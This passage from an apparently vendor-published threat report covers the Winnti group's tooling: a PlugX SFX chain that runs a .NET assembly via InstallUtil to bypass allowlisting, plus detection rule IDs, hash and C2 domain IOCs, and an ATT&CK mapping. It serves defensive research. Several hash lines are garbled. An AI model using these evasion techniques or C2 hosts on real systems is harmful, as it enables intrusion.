It, too, is an SFX archive (94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92) but with different files inside.

FIGURE 59. CONTENTS OF THE SFX ARCHIVE

When unpacked, the archive runs the script 1.vbs, which in turn passes control to a.bat.

FIGURE 60. CONTENTS OF A.BAT

The main payload is in the file image.jpg, which is actually a specially crafted .NET assembly. The assembly launches with the help of InstallUtil.exe from .NET Framework, enabling it to bypass application allowlist restrictions.

FIGURE 61. RUNNING SHELLCODE IN IMAGE.JPG

The purpose of image.jpg is to run the same PlugX shellcode with the help of CreateThread.

of malware from the system. Comparing the sample we found to those described in that report,

identical.

According to Unit42, the main targets of Paranoid PlugX attacks were gaming companies—which are known to be a typical area of interest for Winnti. Investigation of the network infrastructure provides yet another piece of confirmation of the relationship between Paranoid PlugX and Winnti.

As of late 2017, update.upgradsource[.]com resolved to the IP address 121.170.185[.]183. Later, update.byeserver[.]com and update.serverbye[.]com resolved to this address as well. The second-level domains byeserver[.]com and serverbye[.]com, in turn, are listed by FireEye in its report on APT41.

8. Conclusion

Winnti has an extensive arsenal of malware, as can be seen from the group's attacks. Winnti uses both widely available tools (Metasploit, Cobalt Strike, PlugX) and custom-developed ones, which are constantly increasing in number. By May 2020, the group had started to use its new backdoor, FunnySwitch, which possess unusual message relay functionality.

One distinguishing trait of the group's backdoors is support for multiple transport protocols for connecting to C2 servers, which complicates efforts to detect malicious traffic. Malicious files of varying resemblance are used to install the payload, from primitive RAR and SFX-RAR files to reuse of malware from other groups and multistage threats with vulnerability exploits and non-trivial shellcode loaders. But the payload may be one and the same in all these cases. Most likely, the choice is dictated by the precision (or lack thereof) of an attack: unique infection chains and highly attractive bait are held back for targeted attacks.

Winnti continues to pursue game developers and publishers in Russia and elsewhere. Small studios tend to neglect information security, making them a tempting target. Attacks on software

- Trojan-Dropper.Win32.Higaisa.a
- Backdoor.Win32.CobaltStrike.a
- Trojan-Dropper.Win32.Winnti.a
- Trojan-Dropper.Win32.Winnti.b
- Trojan-Dropper.Win32.Shadowpad.a
- Backdoor.Win32.Shadowpad.c
- Backdoor.Win32.FunnySwitch.a

9.2 PT Network Attack Discovery

- REMOTE [PTsecurity] Crosswalk

  sid: 10006001;10006002;10006003;10006004;

- SHELL [PTsecurity] Metasploit/Meterpreter

  sid: 10003751;10003753;10003754;10003755;10006172;10002588;

- REMOTE [PTsecurity] Cobalt Strike Beacon Observed

  sid: 10000748;10005757;

- REMOTE [PTsecurity] Cobalt Strike (jquery profile)

sid: 10000001,10000002,10000004;

- REMOTE [PTsecurity] PlugX

  sid: 10001390;10001391;10002946;10004422;10004426;10004472;10004473;10004515;10004532;10005968;

10. Applications

10.1 Known names of files from which PL shellcode may be loaded

```
C_99401.NLS
DriverStatics.ax
DrtmAuth005.bin
DrtmAuth13.bin
FINTCACHE.DAT
SEService.dat
Theme.re
WspTst.xsl
cbdhsvcs.bin
chrome_proxy.dll
config.ini
localsvc.ax
log.txt
msdsm.tlb
normnfa.nls
normnfw.nls
```



```
wbemcomn64.sys
```

```
winupdate.txt
```

10.2 IOCs

File indicators

LNK FILE ATTACKS

1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81	9b638f77634f53
0deb252a5048c3371358618750813e947458c77e651c729b9d51363f3d16b583	f50b624ba6eb9
8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996	5b8e644acc097
c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5	d500cec0ce53
bcfff6c0d72a8041a37fe3cc5c0233ac4ef8c3b7c3c6bca70d2fcfaed4c5325e	1a33f41d054a2e
35a1ff5b9ad3f462228618l8e3bb8a2323e20605d15d4fe395e1d16f48189530	0a462e8e3b153
beaa2c8dcf9fbf70358a8cf71b2acee95146dba79ba37943a939a2145b83b32e	acf5f997a16937
dca8fcb7879cf4718de0ee61a88425fca9dfa9883be187bae3534076f835a54d	db6333f84538a

d064f675765f54ee80392fcfb5d136cd2407d06d0ea8cd7d8632d1a2b24c0439	8b8b1219581555
32705d3d9f7058e688b471e896dce505b3c6543218be28bbac85f6abbc09b791	289b5017f5ee8
c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b	0f1f2431ecccb9
4e5e3762c850536aac6add3a5ac66f54cbd15c37bd8fc72d3ade9dd5e17f420b	21a5bcd916bc61
2d182910dade1237f1dd398d1e7af0d6eca3a74a6614089a3af671486420fb2b	0261490fb7f88c

SHELLCODE INJECTORS

Payload: Crosswalk

0046df35f66a3b076d9206412be2f1f7ea4641d96574e7b58578c0c0995d1feb	b73fcfc423d1bd
325430384d642ab2a902fb0e268e85808b6cbf87506ccdc314e116e7d1b8239e	0f2a5bbe03c5b
9e27f110fc824d8b85855538c3320e8ea436e82737d686fcecb512b6f872e172	4481c4b0cf220
bec68bcaa80bb00274ef7066ddc8de1b289fb5f8b8e8573f3a961664f41da9d7	cc24843afd627

faca607b43551044fda3c799ce7e9ce61004100544eeb196734972303f57f2ae	159a5ca55d7c6
86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961	604c5f42eeb01

Payload: Metasploit

0ad8ee3fe6d45626b28c0051c4c4f83358a03096ad06fc7135621293e95c75ae	e8fcd7ca491bffc
75d573d1e788590195012a1965cfcaa911c566aee88331b7718ddc638028c175	ca66a779a5b72(
8c962ddbb515e73ecfc5df9db35a54c8c9d15713a04425298f2d89308e2a47bf	ce1cb0050662e
fb23c7fc2e5e8ae33942734c453961da9ed4659368d19180a8f1ecb3b9b8e853	d03a5b322f374
012d8d787c6e7a5f3dbe1e9cce7c5da166537a819221e210ef4d108f1a0a24b3	d913285f75a3a1
420dc77afe28003f14dfe6c09fbf8194ead8a6e8222b6ab126e7ee9bf4b63fd4	ebafff5ff0517ea5
a02258fcb3694893b900f10f0f9bb1d0d522ed098b1cc8eab59f2f70209b3a0b	9bdd1af6fc74a8a
f54cf6d9a5d77a89c4a2d47b02736d746764319e02ad224019db8de78842334a	8413380c19f348

e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae	4db6e492a9ef89
e398290469966aff01a9e138d45c4655790d7a641950e675785d0a2ab93e7d28	1e494e1cf8df105
8add31b6a2828e0d0a5b3ac225f6063f2c67c56036ff3f5099a9ee446459012a	5c11f70345d9843
a4b2a737badef32831cbf05bfaa65b5121ddb41463177f4ac0dbc354b3b451d4	8c549d16dc9707
2fdef9d8896705f468f66eb8c20e5892d161c1d98ab5962aa231326546e25056	7b465b1e0d7be4

Payload: Metasploit

a7df8143a36638de40233b141919d767678b45bf5467e948a637eaafb2820550	be39c3022218c
283302c43466bdc6524a1e58a0ff9cc223ab8f540a1b0248d1fcffe81b87d5d6	b2bb31ea3b4ab
b447a7bb633f682058d4b9df5caabbe8c794f087b80bf598d6741a255e925078	3c523a969cc4c
01c8cc07a83ffd7ac9ee008685eb360c9934919e86847c50c8843807b9d9c196	37ec3d5be7b53
21dd261e5fe46b86833cd69b299ae5ee5f24da3d4e87de509eddda4d2f63d591	11e86ee44e7c35

0d6a5183b903b1013367b9a319f21a7a3b7798d9565a0deee52951f62a708227	2d35c342d8fc
1bd0f0fbd7df99c41e057f6d6c7107812ef1370609ad215a92227ca79ce6df70	7dcb0d7300aa
29233eab65960c2da4962e343a3adab768673012d074db35ebc2abe2142ee73c	1d3dc9bb7acfe
79fbb45d0041933dce16325b87b969db12b7a8dedc918929615104835badc80f	b13d58f1d24cf5
8f0538a18c944e2a98f1415d5528a0dab4367cd8689f598ab2da266c36403252	483c49349d29
025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596	e63646f0089c
d30dd7d82059dc34e72c3131dd7ea87f427cabe7225bbf59aa69e01cd761a1fe	8be2fccba22fd
81ab37ae3abce3feabdefde6a008dec322e0168ce4f0456ee737135025399400	98d6dffb7e5117
b55812f35735e4fb601575072f1b314508b2dafdcb65aa6c1245a2e1f9d80bdd	6986b924c58a
fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc	0902e3c41fb8e
d879b6cac6026a5418df4bf15296890507dbaec5abe56dafda54266975488cf2	11c987cdafec8e

f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c	0b83939510bd
3d38dfd588fc98de099201fe9f52feb29bb401fc623d6fe03eb8f0c959ffc731	af76d1d293e3e
6a10027dd99f124cd9d2682b6e7b0841d070607ea22a446f3c40c0b9f9725bed	f2751dbfe8229(
71a965d54c4b60f7ae4a5e46394bfca013d06e888ec64f06d5ec3d8a21eccb55	4b51a8233991d
5347c5bbfaec8877c3b909ff80cda82f505c3ef6384a9ecf040c821fc7829736	1530993376416
de648c21b4fae290855fdf0cd63d9e6807ced0577bdcf5ff50147ba44bf30251	3a0c2aee518b7
7ed5cbeb6c732aa492762381033ff06d0c29f1c731530d4d27704822141a074a	2d0bb1fc0213e
e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c	6b92e6d594fd(

EXTERNAL PL SHELLCODE LOADERS

0041b28d1f076e196af761a536aa800ebe2fcaea9084a8e17d2a43c43765efdd	0cb8ed29268e
0756216ea3fea5b394e2fa86e90a75f05c3da2b4b47d61110559bd28f51da8e6	7a1c5e1799bde

46f03ddf74c47960a3731de18f123b2110153ed668f9bf6ed3badd7fd099ccb6	90c104dadb5c
4f2d8c437d32dc075074f01d10698f6d4dfc4d4bd8a595dabaa2519c6a025c8e	e629fda195636
655c21fc31967282d8517b3c845f775cd0a80595f90c5c85b6027110532a1cf9	5fa5593b52cfc
8f8ee8d2bc6c559a0a09ce3958727dee2f30880c615b2788d757917ca55d43ef	b769c9c708f59
8fb8134bf40ad6bddd60ea77b78c30dab72c736bf29172f89d03505b80c3ae8d	9a17591711383d
9bf32bf4a4bc1d13bddaa6402595ad76d2d9fcc91a988313f13ed990ccb1c4c1	68ae7f3d2cb22
9c3280bc1ebc239de86523a7046b45e9bb7ce7a40a869dda6ea92fcee727366a	cf90d0b4ac09
bfe2673b02c54be9093cff8fd564b630109175c608f07d94e4a2ac65028a6eae	59c4f47b1135f2
c93999f7622caf63cbcfb26966ff11719a4e26bca7d90a843461f44a3c982a30	0a8fbc71a936d
d0686f44fb7e77ce0f68cc91c4cef12dbd691bb99b0b7be77103b7b17eec3753	0b09ac7691cb9
d6a05e20da5012c0cfc491b0044f7fded9322f5bbc664092c4b481709c3472e0	735e97688a70

f69c6e8fe1188a461bfe249ba7afefbd7a787fcd0777c008f9580f6976118898	d3d4c7cf257f9
fad80dc36a59d1cc67f3c4f5deb2650ca7f5abac43858bf38b46f60d6bb4b196	119b92462a91f9
0187d3fae2dfc1629e766d5df38bdabf5effcb4746befceb1aaf283e9fe063a1	648594c25aeb
45d175f3c1cb6067f60ea90661524124102f872830a78968f46187d6bc28f70d	418fab494383e
ca0f235b67506ed5882fe4b520fd007f59c0970a115a61105a560b502745ac6a	1c265ed6b587
abac7a72b425ff38f8a7d8b66178da519525dc2137ca8904b42301fb46a8983e	d9b692d84bdc
645b14df1bd5e294ec194784bc2bd13e0b65dac33897c9b63ad9ed35ec6df3a8	6d3643bfdd1bc
6b4b9cf828f419298cd7fda95db28c53fc53627124224d87d2ad060185767957	59208d32dd74
7fd19347519ec15ab8dbce66722b28a917b87ad034282ef90851e1b994463644	c4467556640a
8308e54055b45eb63dc6c4c6a4112310a45dec041c1be7deb55bec548617136f	c44934f47c98
adf52650ce698e17d5ff130bc975a82b47c6c175ad929083d757ec0fe7c4b205	bed84d4ef7bd

b83534071bbcacc175449faadbb1d6b0852fe58521da0fefd5398a4a9b1fb884	26ca2262f31dc
adf52650ce698e17d5ff130bc975a82b47c6c175ad929083d757ec0fe7c4b205	bed84d4ef7bd8
e4df8634f5f231fae264684e63b3e0c6497b98dd24ba1b0c6f85c156d33a079c	e3e7b719fa1bb3
afb5e3f05d2eedf6e0e7447a34ce6fd135a72dad11660cf21bec4178d0edc15b	c67ad0bb292e
1968f29b67920fc59e54eba7852a32f20ecbf3f09481c09ddbee1dedc37f296e	b49679280a2c
be70b599e8d7272e8debf49e6bf6e5d8d9f1965812f387a9f1e75aa34788a7c7	88282f8c93d6

PL shellcode: Metasploit

f6085075e906a93a9696d9911577d16e2b5a92bc6b7c514d62992c14d5999205	4a0b8e9a56876

PL shellcode: Cobalt Strike Beacon

43fe07f9adeb32b20e21048e9bb41d01e6b3559d98088ac8cd8ab0fad766b885	30dee2118fc28
6867f3d853de5dfe8adbd761576c29ad853611d8d1c7fdd15b07125fd05321f8	7420afe3c0c91

9ad808caa0b6a60a584566f3c172280617e36699326e7425356795b221af41dc	f3093ae9f6633
eb9c850b1e8d8842eb900fa78135b518fb69da49c72304b5b3b4b6f4fa639e57	6c34f4f29cb3c
e10046b86fe821d8208cb0a6824080ea6cd47a92d4f6e22ce7f5c4c0d9605e4b	1cc16e3a6185b7
a783edae435c6fdf55e937b3246b454ed3b85583184b6ffc1b2faba75c9165cf	aed326228551a

CHM FILE ATTACK

b6685eb069bdfeec54c9ac349b6f26fb8ecf7a27f8dfd8fcdb09983c94aed869	db190af369fdc
5d549155b1a5a9c49497cf34ca0d6d4ca19c06c9996464386fc0ed696bf355a2	7dabbd292f8bl
02f5cb58a57d807c365edf8df5635263f428b099a38dff7fe7f4436b84efbe71	9c921a278ba4c
3c8049bd7d2c285acc0685d55b73e4339d4d0a755acffad697d5a6806d95bb28	201eac040aa2
fcbd7ab82939b7e0aff38f48a1797ac2efdb3c01c326a2dcf828a500015e0e83	8a503147831
3c6d304c050607a9b945b9c7e80805fc5d54ced16f3d27aaa42fce6434c92472	1e75cfd3db2cc

2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af	c1e31f72adba9d5
fbc56623dd4cdfdc917a9bb0fbe00fa213c656069c7094fe90ba2c355f580670	69b961af528eac4
fb0fdd18922977263f78becdedddab7a03c8de16a5431c7b4602e5be13110fa3	6e3d0537cd529
b45baac2ae9c5fdfbf56131451962826a95d56f641af8ca1b74738c2eb939a76	4f0402e263883
ff0527ea2f8545c86b8dfdef624362ed9e6c09d3f8589f873b1e08a895ef9635	ed8cc92b5a046
931ea6a2fc0d5b4c5c3cf2cba596a97eaa805981414c9cda4b26c8c47bf914df	ebb08480d3d94
568298593d406bd49de42688365fdc16f4a5841198583527a35f6a7d518a6b0e	425e6c8e89f45a

SHADOWPAD

03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4	147529e1a8b00a
5a151aa75fbfc144cb48595a86e7b0ae0ad18d2630192773ff688ae1f42989b7	ea43dbef69af12
3b70be53fd7421d77f14041046f7484862e63a33ec4b82590d032804b1565d0d	ebcb044373550

1f64194a4e4babe3f176666ffd8ee0d76d856825c19bfcd783aec1bacb74fd05	801b756019c075
531e54c055838f281d19fed674dbc339c13e21c71b6641c23d8333f6277f28c0	6966687463365
a1fa8cad75c5d999f1b0678fa611009572abf03dd5a836f8f2604108b503b6d2	c1af22e0d0585f
37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a	05a2b848965d7

PLUGX

94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92	14c1e3dd30ef1e
ac5b4378a907949c4edd2b2ca7734173875527e9e8d5b6d69af5aea4b8ed3a69	2293a7510101cc
e54b7d31a8dd0fbab1fa81081e54b0b9b07634c13934adaf08b23d2b6a84b89a	c40acafac6c1c3
b59a37f408fcfb8b8e7e001e875629998a570f4a5f652bcbb533ab4d30f243f7	d1cf03da461f818
ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc	22bac40e845ec
4dad1e908604c2faa4ad9d9ef3dcebc3a163e97398d41e5e398788fe8da2305b	7cbaa1757bafa3

LNK FILE ATTACKS

www.comcleanner[.]info

45.76.6[.]149

http://zeplin.atwebpages[.]com/inter.php

http://goodhk.azurewebsites[.]net/inter.php

http://sixindent.epizy[.]com/inter.php

SHELLCODE INJECTORS

6q4qp9trwi.dnslookup[.]services

d89o0gm34t.livehost[.]live

d89o0gm35t.livehost[.]live

168.106.1[.]1

149.28.152[.]196

207.148.99[.]56

149.28.84[.]98

SHELLCODE LOADERS

exchange.dumb1[.]com

microsoftbooks.dynamic-dns[.]net

microsoftdocs.dns05[.]com

ns3.microsoftsonline[.]net

ns3.mlcrosoft[.]site

onenote.dns05[.]com

service.dns22[.]ml

update.facebookdocs[.]com

104.224.169[.]214

107.182.24[.]70

107.182.24[.]70

149.248.8[.]134

149.28.23[.]32

176.122.162[.]149

45.76.75[.]219

66.42.103[.]222

66.42.107[.]133

66.42.48[.]186

66.98.126[.]203

FUNNYSWITCH

7hln9vr3v6.symantecupd[.]com

update.flashframe[.]com

PLUGX

ns.mircosoftbox[.]com

ns.upgradsource[.]com

update.upgradsource[.]com

103.79.76[.]205

107.174.45[.]134

10.3 MITRE

ID	Name	Description
Reconnaissance		
T1593.001	Search Open Websites/Domains: Social Media	Winnti uses a Twitter account to get game-related information
T1594	Search Victim-Owned Websites	Winnti finds the site of a gaming company and uses information from it to create bait

T1583.001	Domains	that resemble those of legitimate services, including the victim's site
T1583.006	Acquire Infrastructure: Web Services	Winnti can use GitHub and Google Docs for C2 updates
T1587.001	Develop Capabilities: Malware	Winnti uses self-developed malware in its attacks
T1587.003	Develop Capabilities: Digital Certificates	Winnti creates self-signed certificates for use in HTTPS C2 traffic
T1588.001	Obtain Capabilities: Malware	Winnti uses PlugX in its attacks
T1588.002	Obtain Capabilities: Tool	Winnti uses Metasploit and Cobalt Strike in its attacks
T1588.003	Obtain Capabilities: Code Signing Certificates	Winnti steals code signing certificates from compromised organizations
T1588.005	Obtain Capabilities: Exploits	Winnti uses a public exploit for remote code execution (RCE) by means of a CHM file

		with malicious links
Execution		
T1059.003	Command and Scripting Interpreter: Windows Command Shell	Winnti uses cmd.exe and .bat files to run commands
T1059.005	Command and Scripting Interpreter: Visual Basic	Winnti uses VBS files to pass control to subsequent malware stages
T1059.007	Command and Scripting Interpreter: JavaScript/JScript	Winnti uses malicious JScript code in intermediate stages and for the payload
T1203	Exploitation for Client Execution	Winnti exploits RCE in a CHM file by means of an ActiveX object
T1106	Native API	Winnti uses various WinAPI functions to run malicious shellcode in the current process or to inject it into another process
T1204.002	User Execution: Malicious File	Winnti tries to make users run malicious .lnk, .chm, and .exe files

T1547.001	Execution: Registry Run Keys / Startup Folder	registry run key or a startup folder
T1543.003	Create or Modify System Process: Windows Service	Winnti persists on infected machines by creating new services
T1053.005	Scheduled Task/Job: Scheduled Task	Winnti creates a task with schtasks for persistence
Defense evasion		
T1140	Deobfuscate/Decode Files or Information	To store shellcode with the payload, Winnti uses a custom PL format with encryption
T1574.002	Hijack Execution Flow: DLL Side-Loading	Winnti uses legitimate utilities to load DLLs from ShadowPad and PlugX
T1562.004	Impair Defenses: Disable or Modify System Firewall	FunnySwitch adds allow rules to Windows Firewall for C2 connections
T1070	Indicator Removal on Host	Paranoid PlugX deletes artifacts created during infection from the file system and registry

	Information: Software Packing	custom packers for its malware
T1055.002	Process Injection: Portable Executable Injection	Winnti injects shellcode into the processes explorer.exe, winlogon.exe, wmplayer.exe, svchost.exe, and spoolsv.exe
T1218.001	Signed Binary Proxy Execution: Compiled HTML File	Winnti uses CHM files containing malicious code
T1218.004	Signed Binary Proxy Execution: InstallUtil	Paranoid PlugX can use InstallUtil to run a malicious .NET assembly
T1553.002	Subvert Trust Controls: Code Signing	Winnti uses stolen certificates to sign its malware
Discovery		
T1082	System Information Discovery	Winnti backdoors collect information about the computer name and OS version and whether it is 32-bit or 64-bit
T1016	System Network Configuration Discovery	Winnti backdoors collect information about the IP and MAC addresses of the infected machine

T1119	Automated Collection	Winnti backdoors automatically collect information about the infected machine
Command and Control		
T1071.001	Application Layer Protocol: Web Protocols	Winnti backdoors can use HTTP/HTTPS for C2 connections
T1132.001	Data Encoding: Standard Encoding	Winnti uses GZip for compressing FunnySwitch data
T1001.003	Data Obfuscation: Protocol Impersonation	Winnti uses FakeTLS in Crosswalk traffic
T1573.001	Encrypted Channel: Symmetric Cryptography	Winnti uses AES for encrypting traffic in its backdoors
T1008	Fallback Channels	The Winnti configuration supports indicating multiple C2 servers of various types
T1095	Non-Application Layer	Winnti backdoors can use TCP and

T1090.002	Proxy: External Proxy	connections via an external HTTP/SOCKS proxy
T1102.001	Web Service: Dead Drop Resolver	Winnti uses Google Docs for updating the C2 address in PlugX

Share this article:

Get in touch

Fill in the form and our specialists will contact you shortly

GENERAL QUESTIONS

We're happy to answer any questions you may have.

PARTNERSHIP

Join us in making the world a safer place.

PILOT APPLICATION

Test drive our solutions with a customized pilot program.

NAME

PHONE NUMBER

positive technologies

English

I give my consent to the processing of my personal data in accordance with the terms of the Privacy Notice

I give my consent to receive marketing and informational messages

SEND

Cybersecurity market leader

Legal documents

Change region

PRODUCTS

PT NAD

PT Sandbox

MaxPatrol VM

PT ISIM

positive technologies

English

PT Application Firewall

PT Container Security

PT Industrial Cybersecurity Suite

ANALYTICS

Analytics articles

Knowledge base

PT ESC threat intelligence

Threatscape

Hacker groups

COMPANY

About us

Clients

Contacts

PT in the Media

Education

YouTube

Vacancy

positive technologies

English